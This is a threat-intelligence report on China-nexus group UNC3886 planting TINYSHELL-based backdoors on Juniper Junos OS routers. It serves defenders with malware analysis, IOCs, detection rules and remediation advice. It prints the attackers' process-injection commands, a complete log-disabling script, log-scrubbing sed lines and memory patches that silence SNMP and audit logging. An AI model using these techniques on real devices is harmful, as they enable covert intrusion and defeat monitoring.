Written by: Lukasz Lamparski, Punsaen Boonyakarn, Shawn Chew, Frank Tse, Jakub Jozwiak, Mathew Potaczek, Logeswaran Nadarajan, Nick Harbour, Mustafa Nasser
Introduction
In mid 2024, Mandiant discovered threat actors deployed custom backdoors on Juniper Networks’ Junos OS routers. Mandiant attributed these backdoors to the China-nexus espionage group, UNC3886. Mandiant uncovered several TINYSHELL based backdoors operating on Juniper Networks’ Junos OS routers. The backdoors had varying custom capabilities, including active and passive backdoor functions, as well as an embedded script that disables logging mechanisms on the target device.
Mandiant worked with Juniper Networks to investigate this activity and observed that the affected Juniper MX routers were running end-of-life hardware and software. Mandiant recommends that organizations upgrade their Juniper devices to the latest images released by Juniper Networks, which includes mitigations and updated signatures for the Juniper Malware Removal Tool (JMRT). Organizations should run the JMRT Quick Scan and Integrity Check after the upgrade.
Mandiant has reported on similar custom malware ecosystems in 2022 and 2023 that UNC3886 deployed on virtualization technologies and network edge devices. This blog post showcases a development in UNC3886’s tactics, techniques and procedures (TTPs), and their focus on malware and capabilities that enable them to operate on network and edge devices, which typically lack security monitoring and detection solutions, such as endpoint detection and response (EDR) agents.
Mandiant previously reported on UNC3886’s emphasis on techniques to gather and use legitimate credentials to move laterally within a network, undetected. These objectives remained consistent but were pursued with the introduction of a new tool in 2024. Observations in this blog post strengthen our assessment that the actor’s focus is on maintaining long-term access to victim networks. UNC3886 continues to show a deep understanding of the underlying technology of the appliances being targeted.
At the time of writing, Mandiant has not identified any technical overlaps between activities detailed in this blog post and those publicly reported by other parties as Volt Typhoon or Salt Typhoon.
Attribution
UNC3886 is a highly adept China-nexus cyber espionage group that has historically targeted network devices and virtualization technologies with zero-day exploits. UNC3886 interests seem to be focused mainly on defense, technology, and telecommunication organizations located in the US and Asia. The activity described in this blog post is the latest in a number of operations where UNC3886 has leveraged custom malware to target network devices. The malware deployed on Juniper Networks’ Junos OS routers demonstrates that UNC3886 has in-depth knowledge of advanced system internals. Furthermore, UNC3886 continues to prioritize stealth in its operations through the use of passive backdoors, together with log and forensics artifact tampering, indicating a focus on long-term persistence, while minimizing the risk of detection.
Junos OS
Juniper Networks Junos OS is a proprietary operating system that powers most Juniper routing, switching, and security devices. It is based on a modified FreeBSD operating system. Junos OS supports 2 different modes of operations:
-
CLI mode: where standard Junos OS CLI commands can be issued
-
Shell mode: a user with shell access privileges can access an underlying FreeBSD shell and issue standard FreeBSD commands.
Malware identified in this blog post primarily relies on access to the csh shell, but in some cases it is also aware of higher layers.
Veriexec
Junos OS incorporates a Verified Exec (veriexec) subsystem, which is a modified version of an original NetBSD Veriexec Subsystem. Veriexec is a kernel-based file integrity subsystem that protects the Junos OS operating system (OS) against unauthorized code including binaries, libraries, and scripts and activity that might compromise the integrity of the device. To run malware, the threat actor first needed to bypass veriexec protection.
Mandiant did not observe evidence indicating successful exploitation of veriexec bypass techniques already addressed by Juniper in supported software and hardware. However, aside from the process injection technique described later in this blog post, infection on the compromised EOL Juniper MX routers indicate that the threat actor successfully deployed executable backdoors. Mandiant identified the threat actor had root access to the impacted devices.
Circumventing Veriexec with Process Injection
Veriexec protection prevents unauthorized binaries from executing. This poses a challenge for threat actors, as disabling veriexec can trigger alerts. However, execution of untrusted code is still possible if it occurs within the context of a trusted process. Mandiant’s investigation revealed that UNC3886 was able to circumvent this protection by injecting malicious code into the memory of a legitimate process.
To achieve this, UNC3886 first gained privileged access to a Juniper router from a terminal server used for managing network devices using legitimate credentials, and entered the FreeBSD shell from the Junos OS CLI. Within the shell environment, they used the “here document” feature to generate a base64 encoded file named ldb.b64
. This encoded file was then decoded using base64
to create a compressed archive named ldb.tar.gz
, which was subsequently decompressed and extracted using the gunzip
and tar
utilities to extract malicious binaries.
Mandiant was unable to recover the full content of ldb.b64
or ldb.tar.gz
on the compromised Juniper routers’ file system. However, Mandiant successfully recovered three malicious payloads by performing analysis on the memory of a compromised router. The purpose of the payloads was as follows:
-
loader.bin
is a shellcode loader responsible for loading functions includingexit
,mmap
,open
,read
, andclose
from a standard librarylibc.so.7
, allocating memory, and loading and executing the final payload frompayload.bin
-
pc.bin
contains a memory address0x4012f0
-
payload.bin
was identified to be the Position Independent Code (PIC) version of the lmpad backdoor
Details of lmpad backdoor are covered in the Malware Analysis section.
Mandiant observed the threat actor inject malicious payloads into a newly spawned cat
process. The actor created a named pipe called null
using mkfifo
and used cat
to continuously read from it, effectively creating a hung process. This stage involved the following commands:
rm -rf null;
mkfifo null;
cat null &
set pid=$!
echo " $pid"
While the hung cat
process was waiting for data from the null
pipe, the threat actor leveraged dd
to read binary data from the payload files and write it to specific memory locations inside the cat
process.
dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0
dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820
The first dd
command wrote the loader code from loader.bin
at the virtual address 0x4012f0,
which is the entrypoint of cat
. The second dd
command replaced data at 0x602820
with the content of pc.bin
. Mandiant noted that 0x602820
is the global offset table entry for fclose
, this memory location was overwritten with 0x4012f0
, indicating that pc.bin
contains the memory address where loader.bin
was injected to.
The threat actor sent an empty string using echo
to the null
pipe. cat
received an end-of-file signal after echo
finished writing the data and attempted to close the file by executing fclose
.
As the global offset table entry for fclose
function was replaced with the entrypoint to the shellcode loader, cat
executed the shellcode loader instead of the actual fclose
function, and ultimately loaded the final payload from payload.bin
in the same directory.
After payload.bin
has been loaded, the threat actor removed the null
file and the ldb
directory, then terminated the current session. This left only the legitimate process running on the compromised router, now containing the malicious code. The following commands were used to achieve these actions:
sleep 1;echo -n>null;sleep 1;rm -rf null
cd ..
rm -rf ldb
kill -9 $$
Mandiant’s investigation noted that this process injection is intended for executing the PIC version of the lmpad backdoor while veriexec is enabled and does not support execution of other backdoors identified on the file system of the compromised Juniper routers.
Malware Overview
Mandiant’s investigation identified six distinct malware samples across multiple Juniper MX routers. Each sample is a modified version of a TINYSHELL backdoor, but with unique capabilities. All of these samples incorporate a core TINYSHELL backdoor functionality, but differ greatly when it comes to activation methods as well as additional, Junos OS specific features.
The following malware samples were identified:
-
appid
– TINYSHELL based active backdoor, mimicking a legitimate binary named appidd (Application Identification Daemon) -
to
– TINYSHELL based active backdoor, mimicking a legitimate binary named top (Table of Processes) -
irad
– TINYSHELL based passive backdoor, mimicking a legitimate binary named irad (Interface Replication and Synchronization Daemon) -
lmpad
– TINYSHELL based utility and passive backdoor, mimicking a legitimate binary named lmpd (Link Management Protocol Daemon) -
jdosd
– TINYSHELL based passive backdoor, mimicking a legitimate binary named jddosd (Juniper DDOS protection Daemon) -
oemd
– TINYSHELL based passive backdoor, mimicking a legitimate binary named oamd (Operation, Administration and Maintenance Daemon)
TINYSHELL
TINYSHELL is a publicly available lightweight backdoor written in C that communicates using a custom binary protocol. The standard set of TINYSHELL commands comprises of:
-
Remote file upload
-
Remote file download
-
Establishing remote shell session
A basic TINYSHELL implementation for FreeBSD seems to be a foundation for heavily customized backdoors detailed as follows.
Malware Analysis
appid — TINYSHELL-Based Active Backdoor
Sample one, named appid
, is an active backdoor written in C. It is derived from the publicly available TINYSHELL source code with additional supported commands. It is an active backdoor that communicates to the following hardcoded command and control (C2) servers:
-
TCP://129[.]126[.]109[.]50:22
-
TCP://116[.]88[.]34[.]184:22
-
TCP://223[.]25[.]78[.]136:22
-
TCP://45[.]77[.]39[.]28:22
Mandiant believes these IPs are staging nodes of a GOBRAT ORB network, eventually leading to a single, backend Adversary Controlled Operations Server (“ACOS”).
This malware begins by communicating to a random C2 server from the list. The malware maintains two TCP sockets that will stay synchronized with the same C2 address. One socket is used for tasking requests and the other is for handling requests. The malware will rotate through the list of C2 servers until a successful connection is created and it will request a task using the first socket. After receiving a task from the C2, the malware then creates a second socket for handling this specific task. After the task is finished, the second socket is closed.
The malware encrypts all network traffic with AES using a hard-coded key. The following commands are supported by malware, consisting of standard TINYSHELL commands and added proxy and reconfiguration capabilities:
Number |
Name |
Description |
Comment |
---|---|---|---|
1 |
tshd_get_file |
Sends a file to the server |
Standard TINYSHELL command |
2 |
tshd_put_file |
Downloads a file from the server |
Standard TINYSHELL command |
3 |
tshd_runshell |
Launches an interactive /bin/sh shell session |
Standard TINYSHELL command |
4 |
tshd_setproxy |
Establish a Socks proxy to a given IP+port number |
Custom command |
5 |
tshd_config |
Change Configuration Menu |
Custom command |
The following is the list of configuration items that can be changed by the command number 5 (tshd_config) and their associated config menu numbers:
Number |
Config Item |
---|---|
11 |
C2 IP Address 1 |
12 |
C2 IP Address 2 |
13 |
C2 IP Address 3 |
14 |
C2 IP Address 4 |
2 |
C2 Port Number |
3 |
C2 Network Interface |
4 |
Sleep Timeout |
0 |
Exit Config Menu |
to — TINYSHELL-Based Active Backdoor
Sample two, named to
, is the same as Sample 1 but with different hardcoded C2 servers:
-
tcp://101[.]100[.]182[.]122:22
-
tcp://118[.]189[.]188[.]122:22
-
tcp://158[.]140[.]135[.]244:22
-
tcp://8[.]222[.]225[.]8:22
irad — TINYSHELL-Based Passive Backdoor
Sample three, named irad
, is a TINYSHELL based passive backdoor written in C. It acts as a libpcap-based packet sniffer and receives commands by inspecting packets on the wire looking for a magic-string that activates its backdoor capabilities. Malware supports 2 modes of operation: active mode, in which it will connect to a provided C2 address, or a passive – listening mode. In addition to 3 standard TINYSHELL commands, it implements 2 custom commands and a custom activation routine.
The malware uses libpcap library to capture all network packets on the host (interface specified in the eth
environment variable) matching the BPF filter of icmp[4:2] == 0xaa56
. It reads 16 bytes of data starting at offset 10 from the ICMP packet. The malware has insufficient bounds checking and could read past the end of a packet payload if a smaller than expected packet is encountered.
For any ICMP type code 8 (Echo request) packets, it reads the 16 bytes of data and decrypts it with a single byte XOR key 0x86.
It then compares the decrypted data with a magic string uSarguuS62bKRA0J
. If the string matches and the byte 8 of the ICMP packet matches ascii character 1
or 2
, it then reads the target IP and TCP port number from the ICMP packet and sends a beacon packet containing string WZtOTig2m42gXB6U
to the specified IP (active mode). If the response from the target host begins with the string ek63a21km7WSWkfk
then it exits, otherwise it decodes the command number from the packet:
Command Number |
Function |
Comment |
---|---|---|
1 |
Upload a file to the remote host |
Standard TINYSHELL command |
2 |
Download a file from the remote host |
Standard TINYSHELL command |
3 |
Launch an interactive /bin/csh session |
Standard TINYSHELL command |
4 |
Does nothing |
Custom command |
5 |
Relay the current connection to a specified IP and Port |
Custom command |
If byte 8 of the ICMP packet is 0
, the malware will spawn a listening server on TCP port 31234
(passive mode). The listening backdoor server supports the same set of 5 commands as listed in the previous table.
If the string 1spCq0BMbJwCoeZn
is received, and the malware is currently operating as a listener and accepting connections on port 31234
, then it will terminate the listening process.
lmpad — TINYSHELL-Based Utility and Passive Backdoor
Sample four, named lmpad
is an utility and a passive backdoor written in C. In addition to standard TINYSHELL capabilities it can also launch an external script that can perform process injection into two legitimate Junos OS processes to inhibit logging. The main purpose of this malware is to disable all possible logging before the operator connects to the router to perform hands-on activities and then later restore the logs after the operator disconnects.
The malware begins by attempting to receive a UDP packet on port 33615, where it receives an RC4 encrypted message and sends an acknowledgement message in response. The malware also checks the decrypted received payload against the following hex bytes, terminating the connection if it matches.
26 e7 2b 3a 1c a2 16 2d 61 89 57 a9 cd 4c e7 3c
The RC4 encryption key used to decrypt received UDP messages is: 0b3330c0b41d1ae2
.
After the initial check, the malware enters a listening mode, waiting for commands. In addition to standard TINYSHELL commands (command 2, 4 and 5) it also implements 5 other custom commands:
Command 0
This command inhibits logging in preparation of hands-on threat actor activity on the router. It begins by writing a compressed zip archive to the file /var/tmp/pfed_jdhcp6_trace.log
. It then executes the following command line to decompress the archive, execute an embedded script with argument pre
and clean up the script after execution:
gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak;
sh /var/tmp/pfed_jdhcp6_trace.log.bak pre ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$
The following is the uncompressed script file:
pre_ssh() {
#closelog
cp /mfs/var/etc/syslog.conf /mfs/var/etc/syslog.conf0
sed -i '' 's//dev/null #//g' /mfs/var/etc/syslog.conf0
sed -i '' 's/ / /dev/null #/g' /mfs/var/etc/syslog.conf
ps -fcA |grep eventd | awk '{ print $1 }' | xargs kill -1
#last
cp -r /var/log/utx.log /var/log/utx.log0
cp -r /var/log/wtmp /var/log/wtmp0
}
post_ssh() {
#relog
cp /mfs/var/etc/syslog.conf0 /mfs/var/etc/syslog.conf
rm -f /mfs/var/etc/syslog.conf0
ps -fcA | grep eventd | awk '{ print $1 }' | xargs kill -1
#relast
cp -r /var/log/wtmp0 /var/log/wtmp
cp -r /var/log/utx.log /var/log/utx.log0
rm -f /var/log/wtmp0
}
backup() {
#backconf
rm -rf /var/rundb+
cp -r /var/rundb /var/rundb+
cp /var/db/commits /usr/lib/libjucomm.so.1
tar -cf /config/usage_db /config/juniper.conf.*
tar -cf /var/db/config/usage_db /var/db/config/juniper.conf.*
}
restore() {
#reconfig
cp -r /var/rundb+/* /var/rundb
cp /usr/lib/libjucomm.so.1 /var/db/commits
tar -xf /config/usage_db -C /
tar -xf /var/db/config/usage_db -C /
rm -r /var/rundb+
rm -f /usr/lib/libjucomm.so.1
rm -f /config/usage_db
rm -f /var/db/config/usage_db
}
if [ $1 = "pre" ]; then
pre_ssh
elif [ $1 = "post" ]; then
post_ssh
elif [ $1 = "backup" ]; then
backup
elif [ $1 = "restore" ]; then
restore
fi
echo done
exit 0
This script can execute 4 commands:
-
pre
: backupssyslog.conf
assyslog.conf0
, it also redirects all logging to/dev/null
, sends HUP signal toeventd
daemon responsible for logging and backs up last log and wtmp log. -
post
: reverses changes done bypre_ssh
, it restores originalsyslog.conf
as well as last log and wtmp log, it removes backups and sends another HUP signal toeventd
process. -
backup
: it backups the current Juniper configuration database and commit logs and archives configuration files. -
restore
: it restores previously backed up configuration database and config files and removes backups.
After stopping logging with pre_ssh
script, this command then reads the snmpd
process PID from /var/run/snmpd.pid
. It also reads 4 bytes of data from address 0x8601328
and writes it to the file /var/tmp/rts
by using dd
:
dd if=/proc/<pid>/mem of=/var/tmp/rts bs=1 count=4 iseek=0x8601328 2>/dev/null
It then changes this data to 0 and writes it to /var/tmp/rts
and later back to snmpd
process memory using the same dd
technique:
dd of=/proc/<pid>/mem if=/var/tmp/rts bs=1 count=4 oseek=0x8601328
conv=notrunc 2>/dev/null
This patches the snmpd
process memory at address 0x8601328
. The patch sets a global variable named trap_configs
to 0. trap_configs
possibly points to a structure containing SNMP traps that are sent to the monitoring server. Effectively this stops SNMP traps from being triggered which is most likely done to stop SNMP traps from triggering when specific events stop being logged in syslog.
The malware then repeats similar actions against the mgd
(Juniper Management Daemon) process. It reads mgd
process PID from /var/run/mgd.pid
and using the same technique previously mentioned it reads 4 bytes from mgd
process memory at 0x84E90D8
. It compares these bytes to 57E58955
(which after swapping endianness, disassembles to: PUSH RBP; MOV EBP,ESP; PUSH RDI
instructions which is a typical function prologue), and if they match, it patches them with following bytes: C3D08990
. If we disassemble these bytes from a little endian order, we get NOP; MOV EAX,EDX; RET
instructions.
This patch modifies the prologue of the function at 0x84E90D8
to NOP, MOV EAX,EDX, RET
effectively skipping the rest of the function. Based on the behavioral analysis, the goal of this patch is likely to stop auditd
logging of MGD login, logout, cmd events.
This direct memory manipulation using dd
allows the attacker to alter program behavior and bypass security measures. UNC3886 previously used a similar tactic, where dd
was used to disable file system verification on startup. In that case, UNC3886 exploited a vulnerability (CVE-2022-41328) to overwrite legitimate FortiOS system binaries, achieving persistence and evading security checks.
Command 1
This command can reverse operations performed by Command 0 after the operator finished their hands-on-keyboard operations. It restores logging by executing sh /var/tmp/pfed_jdhcp6_trace.log.bak
post, it also reverses patches to snmpd
and mgd
.
Command 2
— Launch CSH Session
This command launches an interactive /bin/csh
session over the UDP connection, with a forked process encrypting the input and output of the shell and transmitting it over the network.
Before executing remote shell, this commands launches a series of sed
commands to remove specific lines from log files:
sed -i '' '/root/d' /var/log/interactive-commands
sed -i '' -e '/vi/d' -e '/set/d' -e '/gdb/d' -e '/mgd/d' /root/.history
sed -i '' '/root/d' /var/log/messages
sed -i '' '/root/d' /var/log/auth
These remove lines containing the term root
from /var/log/interactive-commands
, /var/log/messages
, and /var/log/auth
. They also remove instances of vi
, set
, gdb
, and mgd
from /root/.history
.
Command 3
— Request New Sleep Timeout
This command will cause the malware to send a reply to the connection containing the value of the current sleep timeout. The response to that message will contain the new 4-byte sleep timeout that will be used by the main command loop (in seconds).
Command 4
— File Upload
This command will cause the malware to send a specified file to the remote server.
Command 5
— File Download
This command will cause the malware to download a file from the remote server and write it to the disk.
Command 6
— Backup Configuration Database
This command causes the malware to execute the same script as Command 0 but with argument backup
to backup Juniper configuration database and commit logs.
gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak;
sh /var/tmp/pfed_jdhcp6_trace.log.bak backup ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$
Command 7
— Restore configuration database
This command causes the malware to execute the same script as Command 0 but with argument restore
to restore Juniper configuration database and commit logs:
gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak;
sh /var/tmp/pfed_jdhcp6_trace.log.bak restore ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$
Command 8
– Receive new socket timeout value
This command will cause the malware to send a reply to the connection containing the value of the current socket timeout. The response to that message will contain the new 4-byte value that will be used to update the main socket timeout. The default socket timeout value is 300 seconds
If any other command is passed, malware will close the socket and exit.
jdosd — TINYSHELL-Based Passive Backdoor
Sample five, named jdosd
, is a passive backdoor written in C. It implements a UDP backdoor operating on a fixed port number which provides file transfer and remote shell capabilities.
Malware binds to UDP port 33512 and uses a custom RC4 implementation. This implementation has a bug in it where it doesn’t properly retrieve a final state box value during its PRGA generation. The following key is used for the traffic encryption:
4fd37426-65dd-4a8d-8ba6-1382a011dae9
The attacker initiates the connection to the backdoor by sending a magic value 0xDEADBEEF
. The malware responds to this message by sending the same message in response, encrypted with custom RC4. The malware will then send the process ID (pid) of its own process to the C2.
After the initial beacon the malware waits for additional commands. In addition to standard TINYSHELL commands (1-3), there are two additional commands supported(0xAC, 0xFF):
Command Code |
Description |
Comment |
---|---|---|
1 |
Upload data. Reads a file path from the received data stream and sends the contents of the file to the remote host. |
Standard TINYSHELL command |
2 |
Reads a file name from the data stream, creates it, then reads the file contents to write to that file from the data stream. |
Standard TINYSHELL command |
3 |
Launches an interactive |
Standard TINYSHELL command |
0xAC |
Does nothing |
Custom command |
0xFF |
Exits the Program |
Custom command |
oemd — TINYSHELL-Based Passive Backdoor
Sample six, named oemd
, is a passive backdoor written in C. The backdoor receives the C2 address and port by binding on specific network interfaces. Network interfaces are stored in an environment variable. The backdoor communicates with the C2 over TCP. Communication with C2 is AES-encrypted and XOR-encoded.
The malware configuration is stored in the following environment variables:
-
INTFS
: The network interfaces’ names to bind to. -
RTS
: The routing addresses to bind to (instead of interfaces). -
UPRT
: The port to bind to (if not specified,45678
is used) -
DAEMON
: Run the sample in the background.
During initialization, malware executes following command to retrieve local-index number of an interface specified in the INTFS
environment variable:
ifinfo '<interface>' | grep local-index | grep -Eo '[0-9]+'
After setting up a local UDP socket, malware binds to 0.0.0.0:<port>
on the specified interfaces and waits for the attacker to send the C2 address and port. Although the bind socket is a UDP socket, the sample communicates with the C2 using TCP.
Malware supports a set of standard TINYSHELL commands:
-
1
: Upload a file. -
2
: Download a file. -
3
: Execute a shell command.
When executing shell commands, the malware clears the HISTFILE
environment variable and allows the attacker to specify the TERM
value.
Junos OS Specific Socket Options
All the previously listed samples create an AF_ROUTE
socket using socket(AF_ROUTE(17), SOCK_SEQPACKET(5), 0)
. Running these samples on a standard FreeBSD system would return an invalid socket, hence we believe this to be a JunosOS specific implementation.
We believe that this socket is used to establish a connection for communicating with the operating system’s routing subsystem. The AF_ROUTE
constant designates the socket family for routing operations, and SOCK_SEQPACKET
specifies a reliable, message-oriented connection. This socket is used to read and write a packet similar in structure to rt_*
messages on OpenBSD to retrieve the interface index. From all the samples, only oemd
uses the ifinfo
command to retrieve the interface index, while other samples are using a custom rt_*
messages via the socket.
The custom message contains an interface name and a logical sub interface. On Juniper routing devices, instead of tagging packets with VLAN IDs, sub-interfaces act as distinct interfaces with their own IP addresses, routing configurations, and potentially different security policies. The interface index value is then passed into a setsockopt
call for a command and control socket either TCP or UDP.
Activity in Linux Environments
Mandiant continued to observe UNC3886 leverage similar TTPs and use of the same malware and utilities as detailed in our previous blog post as follows:
- Command execution and persistence using a combination of rootkits and utilities, including REPTILE and MEDUSA with SEAELF loader, and BUSYBOX.
-
Instead of using the publicly available kubo/injector as noted previously, Mandiant observed UNC3886 deployed PITHOOK along with a custom SSH server based on the publicly available wzshiming/sshd project to hijack SSH authentications and capture SSH credentials.
-
TACACS+ daemon binary was replaced by a backdoored version of the binary with similar malicious functions for capturing credentials.
-
Use of GHOSTTOWN malware for anti-forensics purposes.
Mandiant’s investigation did not observe evidence of data staging and exfiltration.
Outlook and Implications
This blog post further highlights China-nexus espionage actors are continuing to compromise networking infrastructure with custom malware ecosystems. While UNC3886 previously focused their operations on network edge devices, this activity demonstrated they’re also targeting internal networking infrastructure, such as Internet Service Provider (ISP) routers.
Mandiant observed the threat actor targeting network authentication services, including the Terminal Access Controller Access-Control System (TACACS+), and terminal servers with access to the routers to gain privileged initial access.
This privileged access allowed the threat actor to enter Junos OS shell mode and perform restricted operations. Investigating further actions taken by the threat actor was hampered by the challenges inherent in analyzing proprietary network devices, which required novel methods for artifact acquisition and analysis.
Mandiant recommends organizations:
- Upgrade Juniper devices and run security checks: Organizations should upgrade their Juniper devices to the latest images which contain mitigations and updated signatures for JMRT and run JMRT Quick Scan and Integrity check after the upgrade.
- Secure Authentication: Implement a centralized Identity and Access Management (IAM) system with robust multi-factor authentication (MFA) and granular role-based access control (RBAC) for managing network devices.
- Configuration Management: Implement a network configuration management that supports configuration validation against defined templates and standards, with the ability to automatically remediate deviations or trigger alerts for manual intervention.
- Enhanced Monitoring: Address and prioritize high-risk administrative activities and implement monitoring solutions with a process to regularly review the effectiveness of detection.
- Vulnerability Management: Prioritize patching and mitigation of vulnerabilities in network devices, including those in lesser-known operating systems.
- Device Lifecycle Management: Implement a device lifecycle management program that includes proactive monitoring, automated software updates, and end-of-life (EOL) replacement planning to ensure network devices are always supported and secure.
- Security Hardening: Strengthen the security posture of network devices, administrative devices and systems used for managing network devices by implementing strict access controls, network segmentation, and other security measures.
- Threat Intelligence: Proactively leverage threat intelligence to continually evaluate and improve the effectiveness of security controls against emerging threats.
The compromise of routing devices is a recent trend in the tactics of espionage-motivated adversaries as it grants the capability for a long-term, high-level access to the crucial routing infrastructure, with a potential for more disruptive actions in the future. A concerted effort is required to safeguard these critical systems and ensure the continued stability and security of the internet.
Organizations potentially impacted by this campaign are strongly advised to engage Mandiant’s Custom Threat Hunt service. Mandiant’s team of security experts can proactively identify and mitigate hidden threats, providing clarity and confidence in your security posture.
Indicators of Compromise
A Google Threat Intelligence Collection of IOCs is available for registered users. For Google Security Operations Enterprise+ customers, rules have been released to your Emerging Threats rule pack, and indicators of compromise (IOCs) listed in this blog post are available for prioritization with Applied Threat Intelligence.
Host-Based Indicators
Filename |
Malware Family |
MD5 |
SHA1 |
SHA256 |
appid |
TINYSHELL |
2c89a18944d3a895bd6432415546635e |
50520639cf77df0c15cc95076fac901e3d04b708 |
98380ec6bf4e03d3ff490cdc6c48c37714450930e4adf82e6e14d244d8373888 |
irad |
TINYSHELL |
aac5d83d296df81c9259c9a533a8423a |
1a6d07da7e77a5706dd8af899ebe4daa74bbbe91 |
5bef7608d66112315eefff354dae42f49178b7498f994a728ae6203a8a59f5a2 |
jdosd |
TINYSHELL |
8023d01ffb7a38b582f0d598afb974ee |
06a1f879da398c00522649171526dc968f769093 |
c0ec15e08b4fb3730c5695fb7b4a6b85f7fe341282ad469e4e141c40ead310c3 |
lmpad |
TINYSHELL |
5724d76f832ce8061f74b0e9f1dcad90 |
f8697b400059d4d5082eee2d269735aa8ea2df9a |
5995aaff5a047565c0d7fe3c80fa354c40e7e8c3e7d4df292316c8472d4ac67a |
oemd |
TINYSHELL |
e7622d983d22e749b3658600df00296d |
cf7af504ef0796d91207e41815187a793d430d85 |
905b18d5df58dd6c16930e318d9574a2ad793ec993ad2f68bca813574e3d854b |
to |
TINYSHELL |
b9e4784fa0e6283ce6e2094426a02fce |
01735bb47a933ae9ec470e6be737d8f646a8ec66 |
e1de05a2832437ab70d36c4c05b43c4a57f856289224bbd41182deea978400ed |
oemd |
TINYSHELL |
bf80c96089d37b8571b5de7cab14dd9f |
cec327e51b79cf11b3eeffebf1be8ac0d66e9529 |
3751997cfcb038e6b658e9180bc7cce28a3c25dbb892b661bcd1065723f11f7e |
lmpad |
TINYSHELL |
3243e04afe18cc5e1230d49011e19899 |
2e9215a203e908483d04dfc0328651d79d35b54f |
7ae38a27494dd6c1bc9ab3c02c3709282e0ebcf1e5fcf59a57dc3ae56cfd13b4 |
Network Indicators
Description |
Indicator |
TINYSHELL Command and Control server |
129.126.109.50:22 |
TINYSHELL Command and Control server |
116.88.34.184:22 |
TINYSHELL Command and Control server |
223.25.78.136:22 |
TINYSHELL Command and Control server |
45.77.39.28:22 |
TINYSHELL Command and Control server |
101.100.182.122:22 |
TINYSHELL Command and Control server |
118.189.188.122:22 |
TINYSHELL Command and Control server |
158.140.135.244:22 |
TINYSHELL Command and Control server |
8.222.225.8:22 |
Detection
YARA-L Rules
Relevant rules are available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set.
-
SEAELF Installer Execution
-
GHOSTTOWN Utility Execution
-
REPTILE Rootkit Command Line Argument Tampering
-
REPTILE Rootkit Cmd Component Usage
-
REPTILE Rootkit Shell Component Usage
-
REPTILE Rootkit Hide Command Usage
YARA Rules
rule M_Hunting_PacketEncryptionLayer_1
{
meta:
author = "Mandiant"
strings:
$pel_1 = "pel_client_init"
$pel_2 = "pel_server_init"
$pel_3 = "pel_setup_context"
$pel_4 = "pel_send_msg"
$pel_5 = "pel_recv_msg"
$pel_6 = "pel_send_all"
$pel_7 = "pel_recv_all"
$pel_8 = "pel_errno"
$pel_9 = "pel_context"
$pel_10 = "pel_ctx"
$pel_11 = "send_ctx"
$pel_12 = "recv_ctx"
condition:
4 of ($pel_*)
}
rule M_Hunting_TINYSHELL_5
{
meta:
author = "Mandiant"
strings:
$tsh_1 = "tsh_get_file"
$tsh_2 = "tsh_put_file"
$tsh_3 = "tsh_runshell"
$tshd_1 = "tshd_get_file"
$tshd_2 = "tshd_put_file"
$tshd_3 = "tshd_runshell"
condition:
all of ($tshd_*) or all of ($tsh_*)
}
Snort/Suricata Rules
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1";
dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; )
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2";
dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; )
alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J";
content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type
limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; )
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2";
dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83
92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type
limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )
Discover more from Cyber GRC Hive
Subscribe to get the latest posts sent to your email.